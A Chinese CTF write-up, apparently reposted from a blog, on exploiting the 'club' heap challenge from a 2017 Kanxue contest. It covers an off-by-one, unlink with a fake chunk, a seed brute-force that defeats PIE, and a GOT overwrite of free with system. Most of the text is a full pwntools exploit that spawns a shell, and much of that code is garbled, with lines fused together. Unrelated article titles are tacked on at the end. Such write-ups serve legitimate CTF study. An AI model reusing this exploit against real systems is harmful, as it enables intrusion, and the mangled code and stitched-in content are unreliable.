off-by-one

0x00 发现漏洞

1.off-by-one

在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节

2.悬挂指针

可以看到,在free堆块的时候,没有清空指针,造成悬挂指针

0x01漏洞利用

1.绕过PIE

在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节

由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.

2.unlink

首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。

然后我们修改第二块内存。

base = 程序基址p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30'

为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。

3.getshell

因为给了libc。所以只要直接leak got来获取libc位置。再将free改成system来free一块保存/bin/sh的chunk就可以获得shell。exp如下。

from pwn import *
import ctypescontext.log_level = 'debug'
so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./libc.so.6')t = process('./club')
# t = remote('123.206.22.95', 8888)def guess(num = 12345):t.recvuntil('> ')t.sendline('5')t.recvuntil('> ')t.sendline(str(num))t.recvuntil('Wr0ng answer!The number is ')num = t.recvuntil('!')return int(num[:-1])def get_base(num):t.recvuntil('> ')t.sendline('5')t.recvuntil('> ')t.sendline(str(num))t.recvuntil('G00dj0b!You get a secret: ')num = t.recvuntil('!')return int(num[:-1])def guess_seed(num):for i in xrange(0x100000,0,-1):i = i<<12i += 0x148so.srand(i)j = 0while j < 30:j += 1a = so.rand()if a == num[j-1]:continuebreakif j == 30:return so.rand()print 'aaa'print ireturn 0
def add(choose, size):t.recvuntil('> ')t.sendline("1")t.recvuntil('> ')t.sendline(str(choose))t.recvuntil('> ')t.sendline(str(size))def edit(choose, payload):t.recvuntil('> ')t.sendline("3")t.recvuntil('> ')t.sendline(str(choose))t.send(payload)def free(choose):t.recvuntil('> ')t.sendline("2")t.recvuntil('> ')t.sendline(str(choose))num_table = []
for i in range(30):num_table.append(guess())print num_tabler = guess_seed(num_table)num = get_base(r)
base = num - 0x0000000000202148
print hex(base)add(1, 0x108)
add(2, 0x120)edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30')
raw_input()
free(2)edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+'\n')print 'aaaaaaaaa't.recvuntil('> ')
t.sendline("4")
t.recvuntil('> ')
t.sendline("1")a = t.recvline()[:-1]
a = a.ljust(8,'\x00')
free_a = u64(a)
print hex(free_a)
libc = free_a - elf.symbols['free']
system = libc + elf.symbols['system']
edit(1, p64(system)+'\n')
add(3, 0x138)
edit(3, '/bin/sh\x00\n')free(3)
t.interactive()

View Code

转载于:https://www.cnblogs.com/elvirangel/p/7773843.html

off-by-onedoublefree. 看雪10月ctf2017 TSRC 第四题赛后学习相关推荐

  1. 2018全国计算机网络竞赛试题,全国2018年10月04741计算机网络原理真题以及答案解析...

    <全国2018年10月04741计算机网络原理真题以及答案解析>由会员分享,可在线阅读,更多相关<全国2018年10月04741计算机网络原理真题以及答案解析(8页珍藏版)>请 ...

  2. 2013年下半年c语言真题及答案,2013年10月自考04737C++程序设计真题及答案

    湖南自考生网小编为考生们整理的"2013年10月自考04737C++程序设计真题及答案",请考生按规定用笔将所有试题的答案涂.写在答题纸上. 选择题部分 注意事项: 1.答题前,考 ...

  3. 看雪学院-OllyDBG入门系列(四)内存写入 笔记

    看雪学院-OllyDBG入门系列(四)内存断点 笔记 原作地址:http://bbs.pediy.com/showthread.php?threadid=21378 作者:CCDebuger 在 Ol ...

  4. 工业用微型计算机02241答案,2001年10月工业用微型计算机真题及答案

    2001年10月工业用微型计算机 真题及答案 全国2001年10月高等教育自学考试 工业用微型计算机试题 课程代码:02241 第一部分选择题(共40分) 一.单项选择题(本大题共20小题,每小题2分 ...

  5. 不停机上线服务_【必看】10月25日本市增值税发票管理系统停机前,这些事一定要办...

    2019年11月1日市税务局将上线增值税发票管理系统2.0版. 新系统上线过渡期间(10月25日-10月31日)部分业务将暂停办理. 详情如下: 一 暂停时间 2019年10月25日0:00-10月3 ...

  6. Android加密 看雪,Android加密与解密入门两题

    写在最前面 本次题目来自看雪2w班9月题.密码学一直是安全的基础,Android安全也不例外,这次9月份的题分别从java层和C层考察了密码学中常用的对称加密.hash函数以及一些基础的编码,但是不是 ...

  7. 2020年408真题_自考书院:2020年10月00830现代语言学真题

    免费发布 2020年10月全国统一命题<00830现代语言学>试卷 其他真题: 甘肃自考网 >> 历年试题 >> http://www.gseea.net 点击 历 ...

  8. 【题目回顾】广工大2020年10月ACM第一次月赛B题--Dio的面包工坊

    题目描述 Description Dio是荒木庄的面包师傅,和手部美容师Bo良Ki影是好朋友.Bo良Ki影会在每个月的某一天来买注入爱心的小面包.面包的爱心总值是爱心小面包的乘积.这个月Dio会把n个 ...

  9. 2018年10月自考计算机应用基础真题,2018年10月全国自考《计算机应用基础》真题与答案...

    高等教育自学考试的考试时间慢慢临近,备考复习也越来越紧张,四川自考网蓝优悠教育中心的南充自考助手为大家精心准备了"2018年10月全国自考<计算机应用基础>真题与答案" ...

  10. 第十三届蓝桥杯省赛真题2022年4月23日 第四题答案及解析 小马过河搬货物方案

    第四题 又又如约而至,上题目: 编程实现: 小马需要将N件物品从河的一岸搬运到河的另一岸,每次搬运的物品为1到3件.请问小马将N件物品全部搬运过去有多少种方案.例如:N=3,将3件物品全部搬运过去有4 ...

最新文章

  1. 作业五—个人项目-小学四则运算 “软件”之升级版1
  2. Android Activity的理解
  3. binder 进程间通讯关于handle一点疑问
  4. JPA(三)之实体关系一对多(多对一)
  5. 堆和栈地址——eclipse linux实践
  6. linux二重启动防止
  7. VERITAS为中小企业提供数据保护、数据恢复和管理全面策略
  8. RPG JS跨平台测试
  9. Paros工具使用手册
  10. 深入浅出裸测之道---单元测试的单元化
  11. Git版本管理工具的使用方法
  12. oc实时渲染的图如何导出_如何使用C4D制作逼真的循环三维动画
  13. UI 标注工具MarkMan的测量像素使用
  14. python将中文数字转化成阿拉伯数字
  15. 【Git/GitHub/VSCode】Git提交时使用EMOJI表情、在VS Code中使用emoji commit
  16. 8口千兆工业级以太网光纤收发器 4光4电全千兆导轨式工业以太网交换机 宽温交换机
  17. java操作word循环动态添加表格Table使用poi-tl的LoopRowTableRenderPolicy
  18. WorldCereal下玉米和小麦全球作物日历
  19. 基于STM32F767的RT-Thread移植学习
  20. TIM_Delay(1); 延时时间怎么算

热门文章

  1. linux 校园网 自动认证,使用 Padavan 路由器实现校园网自动 Web 认证
  2. 五、解读Sails之Waterline源代码
  3. 为什么网站用手机移动4G网络打不开?
  4. PowerPoint安装IguanaTex方法
  5. 【没有刀剑,如何行走江湖】半晌私语(上)
  6. 【PC工具】PC好用的迅雷下载版本合集,hash资源下载方法,石皮版迅雷软件去广告优化增强典藏版...
  7. JavaScript节点操作、删除节点
  8. win7计算机高级还原,主编教您win7怎么一键还原
  9. c语言中puts的作用,c语言puts函数用法是什么?
  10. SpringBoot集成onlyoffice实现word文档编辑保存